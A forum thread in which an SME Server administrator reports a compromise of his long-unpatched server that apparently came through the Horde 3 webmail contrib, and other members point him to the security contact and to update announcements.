Topic: I've been Hacked.

[Smitro]

Hi All,

Just thought I'd share this.

This morning I work up to find both Processors on my server running at 100%. It appeard to be Perl that was causing this. I manage to kill the process but this didn't fix it.

I later tried to shut down my httpd and httpd-e-smith and httpd-admin services and resart them. They Failed to restart.

After looking through logs I came across this in /etc/httpd/logs/error_log

Code: [Select]

These were among the usual errors about unable to find robot.txt

I have to admit I am at some fault in this. As my server has  a current up time of 283 days and durring this time I havn't run any updates. (you can't get a good uptime and keep you server up to date).

I'm running SME 6.5.

I am about to resart the server, and perform all updates. I will keep you posted on how it goes.

Hi Smitro,
first, contact help at this address:
security AT lists.contribs.org
Second, most security issues WILL NOT be discussed in a public forum.
Third, you may have a look at the "gallery" software you were using at the time.
Good luck
Joe

I in no way intended to bring SME down in any way/shape/form. I also mentioned in the above the fact that it was some what self inflicted as I tried to smash a personal record for server up time, and therefore I did not keep up with security patches. I managed to get 283 days (I was hopeing for 365) of uptime, so I personally think that's not something to be sneezed at when talking about how stable SME is.

I realise a public forum is not the best place to discuss something like this... but as most problems on the forum, I was interested in picking other's brains.
Thanks for the email address. I will use it.

The only "Gallery" software I run on the server is software I have writen my self from scrach.

Please see this important article:

http://no.longer.valid/news/article.php?storyid=103

[Smitro]

If only I had seen that earlier.  

And I see why, It was only just posted.

[wellsi]

Anyone using SME 6.x who has upgraded Webmail to use Horde 3 should read both the news article referred to by Charlie above, and John Bennett's post on Horde 3
"Horde 3.0.9 Security issue" http://forums.contribs.org/index.php?topic=31701.0

This only affects people using the Horde 3 contrib, it does not affect any 'stock' SME 6.x server with official updates applied.

Please remember to report any suspected security issue to security@contribs.org and NOT to the forums.

Damn.

This is not the first time that a hole in the webmail app gives a headache

one of my clients gets hacked too because of this, I didn't saw the post about upgrade horde on time.

I tried to enter control panel to disable it via VPN but no luck, every command that I issued to see what happened hanged up, so I finally turn off the machine (that worked ) and tomorrow I will drive there,
and install SME 7

It would be interesting, if a maillist of heavy critical updates could be created (only the ones that put our servers in risk) so we can find out quickly enough

I have here the same version 6.0.1 not updated but since I never enable the webmail, I was safe. (kind of, anyway)

well, hope that tomorrow's  mess dont be too big

c-u

[lightman]

Sorry for the double post.

There IS a list of the critical updates called: Updatesannounce
and I was so stupid that I didn't even search for it before post here.

sorry for that.   i'm feel like an idiot.
